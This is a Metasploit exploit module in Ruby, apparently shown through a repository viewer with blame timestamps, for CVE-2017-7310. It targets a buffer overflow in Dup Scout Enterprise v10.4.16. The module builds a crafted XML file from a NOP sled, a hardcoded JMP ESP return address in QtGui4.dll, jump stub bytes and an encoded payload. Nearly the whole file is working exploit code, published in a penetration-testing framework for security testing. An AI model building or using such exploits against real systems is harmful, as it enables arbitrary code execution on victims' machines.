Files
metasploit-gs/modules/exploits/windows/fileformat/dupscout_xml.rb
T

70 lines
1.8 KiB
Ruby
Raw Normal View History

2018-01-24 20:47:46 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
'Description' => %q(
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
by using the import command option to import a specially crafted xml file.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'References' =>
[
[ 'CVE', '2017-7310' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2018-01-24 20:47:46 +00:00
},
'Platform' => 'win',
'Payload' =>
{
2018-02-01 10:05:50 -06:00
'BadChars' => "\x27",
2018-01-24 20:47:46 +00:00
'StackAdjustment' => -3500
},
'Targets' =>
[
2018-02-01 10:05:50 -06:00
['Windows Universal', { 'Ret' => 0x651BB77A } ] # JMP ESP [QtGui4.dll]
2018-01-24 20:47:46 +00:00
],
'Privileged' => false,
'DisclosureDate' => 'Mar 29 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
])
end
def exploit
2018-02-01 10:05:50 -06:00
esp = "\x8d\x44\x24\x14" #LEA EAX, [ESP+14h]
jmp = "\xff\xe0" # JMP EAX
2018-01-30 09:12:05 -06:00
2018-02-01 10:05:50 -06:00
buf = "<?xml ?><a name='"
buf << make_nops(1560)
buf << [target.ret].pack('V')
buf << make_nops(16)
buf << esp
buf << jmp
buf << make_nops(14)
buf << payload.encoded
2018-01-24 20:47:46 +00:00
print_status("Creating '#{datastore['FILENAME']}' file ...")
2018-02-01 10:05:50 -06:00
file_create(buf)
2018-01-24 20:47:46 +00:00
end
end